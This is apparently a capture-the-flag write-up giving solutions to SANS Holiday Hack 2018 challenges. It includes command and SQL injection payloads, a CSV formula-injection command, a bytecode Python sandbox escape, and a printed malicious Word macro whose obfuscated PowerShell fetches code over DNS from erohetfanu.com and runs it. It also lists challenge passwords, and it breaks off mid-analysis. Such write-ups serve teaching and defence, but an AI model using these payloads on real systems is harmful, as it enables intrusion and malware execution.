SANS Holiday hack challenge 2018 was fun. It was also the first one I tried. I liked the talks and that the challenges were accessible to most skill levels. I mean RCE through the -0 bug in v8 is great and all but I want people to be able to have fun and learn new skills.
If being a security consultant has taught me anything, it's that no one has time to read your 100 page report. So here are some quick solutions. I will post my notes from the Youtube videos in different posts.
The answer is Happy Trails
.
Just Google keywords from the question and you get the answers.
Need to exit Vim with q!
or wq!
or whatever.
The answer is John McClane
.
Go to the CFP website: https://cfp.kringlecastle.com/cfp/cfp.html.
Navigate to https://cfp.kringlecastle.com/cfp/ to see the directory listing.
../
cfp.html 08-Dec-2018 13:19 3391
rejected-talks.csv 08-Dec-2018 13:19 30677
Download rejected-talks.csv
and search for the name of the talk.
qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,
Data Loss for Rainbow Teams: A Path in the Darkness,1,11
The answer is Scott
.
Using option 2, it asks for a server address to ping
. It's vulnerable to command injection. We can pass commands after ;
.
For example, passing ;ls
:
Validating data store for employee onboard information.
Enter address of server: ;ls
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
[-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
[-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
[-w deadline] [-W timeout] [hop1 ...] destination
menu.ps1 onboard.db runtoanswer
onboard.db: SQLite 3.x database
We can see the vulnerable code inside menu.ps1
for option 2.
cls
Write-Host "Validating data store for employee onboard information."
$server = Read-Host 'Enter address of server'
/bin/bash -c "/bin/ping -c 3 $server"
/bin/bash -c "/usr/bin/file onboard.db"
;sqlite3
to be dropped into the sqlite prompt..open onboard.db
to open the db file.dump
to get everything.Search for chan
.
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,
'Los Angeles','90067','4017533509','[email protected]');
Morcel says Welcome unprepared speaker!
.
Pass code is 0120
.
Proxy the requests with Burp or open up the browser's console as you enter a passcode. Symbols correspond with 0123
.
The passcode is sent to the server in a POST request like this:
If passcode was wrong, we get:
{"success":false,"message":"Incorrect guess."}
There are 256 possible combination. Four place holders with four options, four to the power of four. No need to do anything other than bruteforce. With Burp Intruder (even the free edition's throttled Intruder), it's only a few minutes. Or we can write our own script in Python Go.
Passcode is 0120
and good response is:
{"success":true,"resourceId":"undefined",
"hash":"0273f6448d56b3aba69af76f99bdc741268244b7a187c18f855c6302ec93b703",
"message":"Correct guess!"}
The hash appears to be an HMAC of resourceId
. Can we trick the client into opening the door by supplying our own? If it's an HMAC, the secret must be in the browser. I did not look into it.
Door passcode bruteforce in Burp Intruder
The answer is Elinore
.
Vim leaves files behind.
$ ls -alt
total 5460
-rw-r--r-- 1 elf elf 5063 Dec 14 16:13 .viminfo
cat .viminfo
$ cat .viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
# Last Substitute String:
$NEVERMORE
# Command Line History (newest to oldest):
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"
...
File containing the poem is at /.secrets/her/poem.txt
. But the answer is obvious from the substitution. It's Elinore
.
The answer is Yippee-ki-yay
.
git repo is at https://git.kringlecastle.com/Upatree/santas_castle_automation.
Look at the commits in the web interface. There's a commit named removing accidental commit
.
A file was removed that had the password:
Hopefully this is the last time we have to change our password again until next Christmas.
Password = 'Yippee-ki-yay'
Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'
The password allows us to open another file in the repository:
santas_castle_automation/schematics/ventilation_diagram.zip
:This file contains the plans for Google Ventilation near the Google booth in the castle lobby. Using the map allows you to bypass a number of challenges and directly go to Santa's secret room.
Google ventilation floor 1 Google ventilation floor 2
Answer is
smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"
The challenge hint talks about credentials in commands. We can see the complete output of ps with ps auxww
. Remember that ps aux
has truncated output.
$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 10 0.0 0.0 49532 3212 pts/0 S 19:38 0:00 sudo -u manager /home/man
ager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argumen
t --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppr
ess --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
samba-wrapper.sh
appears to be a wrapper for smbclient
. We can figure out the parameters from the command above. We need to upload the report as user report-upload
with password directreindeerflatterystable
(apparently the equivalent of XKCD correct horse battery staple
).
Command is:
smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"
The answer is [email protected]
.
The image needs to be set to 64-bit
Ubuntu or Debian to work on VirtualBox (it's set to 32-bit
after importing the ova).
The VM image is at:
A shortcut to the tool Bloodhound is on the desktop. There's a built-in query for getting to domain admin from Kerberoastable accounts.
There are three accounts but two need RDP which is mentioned in the hints.
Bloodhound Builtin Query
Answer is:
curl -d "status=on" -X POST http://localhost:8080/index.php --http2-prior-knowledge
Supposedly the trigger to start the "Candy Striper" is an "arcane HTTP/2 call."
Partial contents of /etc/nginx/nginx.conf
show the web server only has HTTP/2 enabled.
$ cat /etc/nginx/nginx.conf
...
http {
...
server {
# love using the new stuff! -Bushy
listen 8080 http2;
# server_name localhost 127.0.0.1;
root /var/www/html;
}
Looking at command history (use the up
arrow key), we get some commands including this:
curl --http2-prior-knowledge http://localhost:8080/index.php
Running the command returns:
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
</body>
</html>
We can send this:
$ curl -d "status=on" -X POST http://localhost:8080/index.php --http2-prior-knowledge
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
<!-- removed -->
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.
</body>
</html>
The answer is 19880715
.
To get into the room we need to upload a QRcode with the payload to do SQLi.
The request looks like:
POST /upload HTTP/1.1
Host: scanomatic.kringlecastle.com
b64barcode=[payload]
If the barcode is not properly formatted:
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 30 Dec 2018 04:32:50 GMT
Content-Type: application/json
Content-Length: 151
Connection: close
{"data":"EXCEPTION AT (LINE 135
\"temp_file.write(base64.b64decode(request.form['b64barcode'].split(',')[-1]))\"):
Incorrect padding","request":false}
Now we if upload a QRcode with payload hello'
(note the trailing '
), we get this response:
HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 30 Dec 2018 04:32:28 GMT
Content-Type: application/json
Content-Length: 363
Connection: close
{"data":"EXCEPTION AT (LINE 96 \"user_info =
query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"):
(1064, u\"You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near ''hello'' LIMIT 1' at line 1\")","request":false}
We can learn a few things:
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1"
uid
.{"data":"Authorized User Account Has Been Disabled!","request":false}
{"data":"No Authorized User Account Found!","request":false}
I got this for hello' or '1'='1 -- ;
.Try different payloads:
hello' OR '1'='1 -- ;
hello' OR 1=1 -- ;
hello' AND enabled = 1 OR 1=1 -- ;
hello' AND enabled = true OR 1=1 -- ;
(1 and 0 are aliases for true and false in MariaDB)The correct payload is ' OR enabled = 1 -- ;
because we want an account that is both enabled and authorized.
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 -- ; ' LIMIT 1
Response is
{"data":"User Access Granted - Control number 19880715","request":true,"success":
{"hash":"ff60055a84873cd7d75ce86cfaebd971ab90c86ff72d976ede0f5f04795e99eb","resourceId":"false"}}
The answer is 19880715
. And we are in Santa's secret room.
The answer is minty.candycane
.
Someone did a password spray and then logged into one account. Find that account based on logs.
There's an evtx
file and a python script to dump it as XML.
python evtx_dump.py ho-ho-no.evtx > dumped
And then I ran cat dumped
and copied everything to a local text file on my machine.
To isolate password sprays, search for 4625
(event ID for unsuccessful logon). See the nice section in the minimap? That is out password spray.
Searching for 4625 in VS Code
Copy/paste that part to a new file and look for successful logons (4624
). There multiple logons in the password spray logs. Which one is the attacker?
The attacker did the password spray from one IP (or multiple IPs), so logon must be from one of those IPs. All password spray attempts came from 172.31.254.101
. So we search for a successful logon (4624
) from that IP and we find minty.candycane
.
Summary of log entry:
<Event
xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
<System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated>
<EventRecordID>240171</EventRecordID>
<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData>
<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
<Data Name="LogonGuid">{d1a830e3-d804-588d-aea1-48b8610c3cc1}</Data>
<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">38283</Data>
</EventData>
</Event>
The answer is Fancy Beaver
.
CSV payload is:
=CMD|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\myfile.txt'!A1
We need to do CSV injection on https://careers.kringlecastle.com/ and access a file.
To exfiltrate the file, we need to copy it to a publicly accessible URL. We do not need to use our own server, the 404 page gives us the location of a publicly accessible directory along with its internal address.
Publicly accessible file served from:
C:\careerportal\resources\public\ not found......
Try:
https://careers.kringlecastle.com/public/'file name you are looking for'
The following csv file works:
111,=CMD|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\myfile.txt'!A1,33
55,44,77
Now we can access the file at https://careers.kringlecastle.com/public/myfile.txt
, change the extension and view it.
The answer is Fancy Beaver
.
The answer is twinkletwinkletwinkle
.
Similar to another challenge, credentials have been committed to git and then overwritten. This time we do not have a nice web interface to view the commits and must use the command line.
kcconfmgmt
is a git repo. Either grep -ir password
or do git log -10
to see the last 10 commit messages.
Two of the commit messages are:
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <[email protected]>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings
in config.js.def need to be updated before use
commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <[email protected]>
Date: Thu Nov 8 13:25:32 2018 -0500
Add passport module
So the credentials where in config.js
. It has been replaced by config.js.def
which is clean:
elf@03a47cb7373b:~/kcconfmgmt/server/config$ cat config.js.def
// Database URL
module.exports = {
'url' : 'mongodb://username:[email protected]:27017/node-api'
};
We can just revert to the commit BEFORE THE OVERWRITE and look inside that file:
git checkout b2376f4a
config.js
is now available:
elf@03a47cb7373b:~/kcconfmgmt/server/config$ cat config.js
// Database URL
module.exports = {
'url' : 'mongodb://sredberry:[email protected]:27017/node-api'
};
The answer is twinkletwinkletwinkle
.
The answer is Mary Had a Little Lamb
.
Packet capture website is at https://packalyzer.kringlecastle.com/.
We get hints after completing the Python challenge (solution is below):
Make an account and login. Then we can sniff traffic and upload pcaps for analysis. In the Captures
tab we can download/reanalyze/delete older pcaps.
Comments in code show the the name of source file:
//File upload Function. All extensions and sizes are validated server-side in app.js
Web root can be discovered by looking at asset URLs. They are all under pub
. So app.js
is at:
Weird and descriptive error looks like this:
Error: ENOENT: no such file or directory, open '/opt/http2/uploads//nem,.rxr'
Look at load_envs
, they are opening up directories based on names of environmental variables. It was a common mistake to think they are based on values but they are just grabbing keys (Object.keys
).
function load_envs() {
var dirs = []
var env_keys = Object.keys(process.env)
for (var i=0; i < env_keys.length; i++) {
if (typeof process.env[env_keys[i]] === "string" ) {
dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
}
}
return uniqueArray(dirs)
}
And they are used to open directories (remember we are in dev_mode
):
if (dev_mode) {
//Can set env variable to open up directories during dev
const env_dirs = load_envs();
} else {
const env_dirs = ['/pub/','/uploads/'];
}
We can go to:
And see the name of the SSLKEYLOGFILE
environmental variable:
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
But that is not the file name. It is, but not all of it. Again it was a common mistake on Discord to think http2packalyzer_clientrandom_ssl.log/
is the file name. The file is formatted neatly by separating different words with underscores BUT in the beginning, two words are mashed together unceremonially. http2
is part of the error message as we have seen before. The value is:
packalyzer_clientrandom_ssl.log
The complete path to the log file is inside app.js
:
const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
key: fs.readFileSync(__dirname + '/keys/server.key'),
cert: fs.readFileSync(__dirname + '/keys/server.crt'),
http2: {
protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1
protocols: [ 'h2' ],
},
keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time
Let's break down __dirname + process.env.DEV + process.env.SSLKEYLOGFILE
.
__dirname
is the current directory of the module.process.env.DEV
is just DEV
. If you were a developer you would have set the value of DEV
to true
or just DEV
.Meaning the path is:
We see a bunch of keys. Remembering the associated Kringlecon talk, it seems they belong to pcaps that are generated by sniffing the traffic for 20 seconds inside the application. The trick is to sniff traffic and then quickly (well within a couple of minutes) get the keys. Now we can decrypt the traffic in Wireshark.
Inside Wireshark use the filter http2.data.data
.
There does not seem to be a file there but there are multiple username/passwords there. Let's see if we can login as other people and sniff their traffic?
I tried doing another capture and it was the same. These credentials appear in all sniff captures:
{"username": "pepper", "password": "Shiz-Bamer_wabl182"}
{"username": "bushy", "password": "Floppity_Floopy-flab19283"}
{"username": "alabaster", "password": "Packer-p@re-turntable192"}
We can login as alabaster
. There's something in his captures, download it and view it in Wireshark. This one is not SSL traffic, we can just read the file. Note the text of the email, it has a hint for later challenges.
Hey alabaster,
Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.
There's a base64 encoded attachment in the TCP stream, we can copy it to a file and decode it.
Base64 encode decode w/o powershell:
$ certutil.exe -decode encoded-file.txt decoded-file
Input Length = 132161
Output Length = 97831
CertUtil: -decode command completed successfully.
Open it up in a hex editor, it's a PDF (see the header). Seems like it's about the Piano door lock.
Name of the song is the answer: Mary Had a Little Lamb
.
The answer is use the methods in the talk to generate bytecode
. See solution below.
We're inside a Python interpreter and need to run ./i_escaped
. The talk has the answer.
First, let's see what is banned out of the four keywords from the talk. Only eval
is allowed.
>>> os = eval('__im' + 'port__("os")')
>>> os.system("ls")
Use of the command os.system is prohibited for this question.
os.system
is banned.subprocess
is also banned.popen
is banned. seems like they are filtering open
which catches popen
too.
>>> subprocess.popen
Use of the command open is prohibited for this question.
Let's find the Python version. make_object
from the talk must be used in a similar version.
We are running in 3.5.2
:
>>> sys = eval('__im' + 'port__("sys")')
>>> sys.version
'3.5.2 (default, Nov 12 2018, 13:43:14) \n[GCC 5.4.0 20160609]'
I had a VM with 3.5.2
so I used this:
def bypass():
import os
print(os.system("./i_escaped"))
To get:
def a():
return
a.__code__ = type(a.__code__)(0,0,1,3,67,b'd\x01\x00d\x00\x00l\x00\x00}\x00\x00t\x01\x00|\x00\x00j\x02\x00d\x02\x00\x83\x01\x00\x83\x01\x00\x01d\x00\x00S',(None, 0, './i_escaped'),('os', 'print', 'system'),('os',),'<stdin>','bypass',1,b'\x00\x01\x0c\x01')
And it works:
Loading, please wait......
____ _ _
| _ \ _ _| |_| |__ ___ _ __
| |_) | | | | __| '_ \ / _ \| '_ \
| __/| |_| | |_| | | | (_) | | | |
|_|___ \__, |\__|_| |_|\___/|_| |_| _ _
| ____||___/___ __ _ _ __ ___ __| | |
| _| / __|/ __/ _` | '_ \ / _ \/ _` | |
| |___\__ \ (_| (_| | |_) | __/ (_| |_|
|_____|___/\___\__,_| .__/ \___|\__,_(_)
|_|
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary
You escaped! Congratulations!
0
Challenge with multiple sections.
The answer is solution is below
.
The article in the hints section, using gdb to call random functions shows how to use GDB to directly jump to winnerwinner
. I changed the drawing number because I think it's a better way.
We need to win the lottery:
$ ./sleighbell-lotto
The winning ticket is number 1225.
Rolling the tumblers to see what number you'll draw...
You drew ticket number 4965!
Sorry - better luck next year!
The winning number seems to be 1225
all the time.
We can dump everything for offline analysis, but it's not needed:
objdump -M intel -D sleighbell-lotto > dump1
objdump
can dump the symbol table and shows different functions. One is winnerwinner
. We can jump directly to it and win but I'd rather go to main
.
$ objdump --syms sleighbell-lotto
sleighbell-lotto: file format elf64-x86-64
SYMBOL TABLE:
// removed random symbols
0000000000000000 F *UND* 0000000000000000 printf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 memset@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 puts@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 exit@@GLIBC_2.2.5
0000000000208060 g O .data 0000000000000008 winnermsg
0000000000000fd7 g F .text 00000000000004e0 winnerwinner
0000000000208070 g O .bss 0000000000000008 decoded_data
0000000000000000 F *UND* 0000000000000000 srand@@GLIBC_2.2.5
00000000000014b7 g F .text 0000000000000013 sorry
0000000000000000 F *UND* 0000000000000000 rand@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 time@@GLIBC_2.2.5
00000000000014ca g F .text 00000000000000e1 main
Run it in GDB and break main
and set disassembly-flavor intel
(because AT&T syntax sucks).
Then disass
on main to see where we are and see the check. I went through main
and analyzed everything (side note: analysis
was one of the banned words in the chat). See the analysis below but you can skip it:
Important part is here:
; removed
; drawn number is manipulated and stored here
0x000055555555553c <+114>: mov DWORD PTR [rbp-0x4],eax
; removed
; later it's compared to 1225 or 0x04C9
0x0000555555555582 <+184>: cmp DWORD PTR [rbp-0x4],0x4c9
; if not equal, jump to sorry if not continue
0x0000555555555589 <+191>: jne 0x555555555597 <main+205>
0x000055555555558b <+193>: mov eax,0x0
; if equal, continuing execution reaches winnerwinner
0x0000555555555590 <+198>: call 0x555555554fd7 <winnerwinner>
0x0000555555555595 <+203>: jmp 0x5555555555a1 <main+215>
0x0000555555555597 <+205>: mov eax,0x0
; jump here if numbers are not equal
0x000055555555559c <+210>: call 0x5555555554b7 <sorry>
0x00005555555555a1 <+215>: mov edi,0x0
0x00005555555555a6 <+220>: call 0x555555554920 <exit@plt>
There are multiple ways to do this:
mov DWORD PTR [rbp-0x4],eax
and modify the value of eax
to 0x04C9
.jne 0x555555555597 <main+205>
and change the ZF
.I did the first one:
break *0x000055555555554c
c # continue
set $rax = 0x4c9
c # continue
Something is pushed to rdi
and then getenv
is called. We can break on the call getenv
line and read the contents of rdi
.
0x00005555555554d9 <+15>: call 0x555555554970 <getenv@plt>
0x00005555555554de <+20>: test rax,rax
0x00005555555554e1 <+23>: jne 0x5555555554f9 <main+47>
Let's see what it does:
(gdb) x/s $rdi
0x55555555abaf: "RESOURCE_ID"
So it's reading RESOURCE_ID
from environmental variables and if it's not zero (see test rax rax
) it jumps to main+47
.
si
steps in and ni
steps over for assembly instructions. In this case the result is:
(gdb) x/s $rax
0x7fffffffe951: "7a29a437-8523-4513-828e-53394fa647a4"
Might be a check to see if it's running in a docker container?
Next edi
is set to zero and then time
is called. Which gets the time.
0x00005555555554fe <+52>: call 0x5555555549e0 <time@plt>
0x0000555555555503 <+57>: mov edi,eax
After the function call rax
has the current time. View them with info registers
:
rax 0x5c28c70b 1546176267
edi
now has the time.srand(time)
calls srand
and seeds it with the current time.
Before puts
we can see rdi
and see it always prints the following text.
0x0000555555555505 <+59>: call 0x5555555549a0 <srand@plt>
0x000055555555550a <+64>: lea rdi,[rip+0x583f] # 0x55555555ad50
Finally, the intro text is printed. Meaning the winning ticket is always the same. Maybe not, but the text is always the same.
0x0000555555555511 <+71>: call 0x555555554910 <puts@plt>
0x0000555555555516 <+76>: mov edi,0x1
(gdb) x/s $rdi
0x55555555ad50: "\nThe winning ticket is number 1225.\nRolling the tumblers to see what nu
mber you'll draw...\n"
Then it sleeps for a second (see sleep
).
Then calls rand
and then does a bunch of stuff to it to generate our number:
0x0000555555555520 <+86>: call 0x5555555549c0 <rand@plt>
0x0000555555555525 <+91>: mov ecx,eax
0x0000555555555527 <+93>: mov edx,0x68db8bad
0x000055555555552c <+98>: mov eax,ecx
0x000055555555552e <+100>: imul edx
0x0000555555555530 <+102>: sar edx,0xc
0x0000555555555533 <+105>: mov eax,ecx
0x0000555555555535 <+107>: sar eax,0x1f
0x0000555555555538 <+110>: sub edx,eax
0x000055555555553a <+112>: mov eax,edx
0x000055555555553c <+114>: mov DWORD PTR [rbp-0x4],eax
Long story short, the result of calculation ends up in eax
and stored in memory.
0x000055555555554c <+130>: mov DWORD PTR [rbp-0x4],eax
Set a breakpoint here and change the value to 0x04C9
and we're done.
(gdb) set $rax = 0x4c9
(gdb) c
Continuing.
You drew ticket number 1225!
// removed ASCII art
With gdb you fixed the race.
The other elves we did out-pace.
And now they'll see.
They'll all watch me.
I'll hang the bells on Santa's sleigh!
Congratulations! You've won, and have successfully completed this challenge.
The answer contains two rules. For both outgoing and incoming DNS traffic with a specific string in them:
alert udp any any -> any 53 (msg:"malware DNS request"; sid:10000001; content:"77616E6E61636F6F6B69652E6D696E2E707331";)
alert udp any 53 -> any any (msg:"malware DNS response";sid:10000002; content:"77616E6E61636F6F6B69652E6D696E2E707331";)
Look inside them and see the DNS requests.
77616E6E61636F6F6B69652E6D696E2E707331.rahbegunsr.net
77616E6E61636F6F6B69652E6D696E2E707331.baehnrusrg.com
12.77616E6E61636F6F6B69652E6D696E2E707331.rahbegunsr.net
16.77616E6E61636F6F6B69652E6D696E2E707331.baehnrusrg.com
1.77616E6E61636F6F6B69652E6D696E2E707331.hngaerrbus.org
They all share the same string:
77616E6E61636F6F6B69652E6D696E2E707331
Create Snort rules for both sides of traffic as seen above:
[+] Congratulation! Snort is alerting on all ransomware and only the ransomware!
The answer is erohetfanu.com
.
We have already seen the domain in Wireshark, it's erohetfanu.com
.
There's a zip file with a docm
in it. Password is elves
.
Nevertheless, the domain can be discovered in different ways using dynamic analysis.
TCP Connect
or UDP Connect
filters.I use this simple trick at work to find domains with dynamic analysis:
ipconfig /flushdns
.ipconfig /displaydns
.hosts
file.After downloading the docm
file, Windows defender goes haywire.
Trojan:Win32/Occamy.C
file: C:\...\CHOCOLATE_CHIP_COOKIE_RECIPE.docm->word/vbaProject.bin
We can run olevba
on it to get the macro. Seems like there are two macros with the same content.
olevba 0.53.1 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub
Seems like the Powershell payload is base64 encoded and then compressed.
Cyberchef to the rescue with these filters:
From_Base64('A-Za-z0-9+/=',true)
Raw_Inflate(0,0,'Adaptive',false,false)
Generic_Code_Beautify()
And we get
function H2A($a) {
$o;
$a - split '(..)' | ? {
$_
}
| forEach {
[char]([convert]::toint16($_, 16))
}
| forEach {
$o = $o + $_
};
return $o
};
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve - DnsName - Server erohetfanu.com - Name "$f.erohetfanu.com" - Type TXT).strings, 10) - 1)) {
$h += (Resolve - DnsName - Server erohetfanu.com - Name "$i.$f.erohetfanu.com" - Type TXT).strings
};
We can see the domain there too.
This macro downloads something and then executes it with iex
. We can make it do the work for us. Modify the last line:
iex($(H2A $h | Out - string))
H2A $h | Out - string
And it spits out the malware. Using the talk, I cleaned it up and renamed functions:
The malware is targeting specific domains. It does not activate if the computer is not part of the domain KRINGLECASTLE
or it has something running on 127.0.0.1:8080
. The second check is to prevent double infection because the malware sets up a web server at that address after the infection.
In order to make the malware work in our VM, I modified the domain check to work if our domain is not KRINGLECASTLE
by changing -ne
to -eq
in the second if condition:
(Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE")
To: (Get-WmiObject Win32_ComputerSystem).Domain -eq "KRINGLECASTLE")
if ($(netstat -ano | Select-String "127.0.0.1:8080").Length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -eq "KRINGLECASTLE") {
return
}
The answer is yippeekiyaa.aaay
.
We are looking for a killswitch similar to WannaCry. The WannaCry ransomware checked for a non-registered domain and if it got a response from that domain, it would not activate. In the malware source code we can check termination by looking for return
instructions.
The following return
check looks familiar:
function wanc {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
if ($null -ne ((Resolve-DnsName -Name $(HexToASCII $(ByteToHex $(XOR $(ByteToHex $(GzipToBytes $(HexToByte $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
return
}
Is this the killswitch? Yes, it is.
We can print the result by modifying the original script:
function wanc {
$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
$(HexToASCII $(ByteToHex $(XOR $(ByteToHex $(GzipToBytes $(HexToByte $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))) | Out-String
return
...
And we have the killswitch: yippeekiyaa.aaay
.
The answer is ED#ED#EED#EF#G#F#G#ABA#BA#B
.
In this part, we have a memory dump and a file and we need to recover the key. See the talk KringleCon 2018 - Chris Davis, Analyzing PowerShell Malware.
Use power dump to process the memory file as shown in the talk.
Then look for variables:
matches "^[a-fA-F0-9]+$"
len == 32
because key is 16-bytesWe get five hits
033ecb2bc07a4d43b5ef94ed5a35d280
cf522b78d86c486691226b40aa69e95c
9e210fe47d09416682b841769c78b8a3
4ec4f0187cb04f4cb6973460dfe252df
27c87ef9bbda4f709f6b4002fa4af63c
Let's see if we can also find the hash. The length is 40 in this case.
We get one match with len == 40
.
b0e59a5e0f00968856f22cff2d6226697535da5b
This should be the SHA-1 hash of one of the above. But it's not. So either our keys are wrong or the hash is wrong.
Google doesn't give me anything when I search for the hash, so it's not the SHA-1 hash of anything popular.
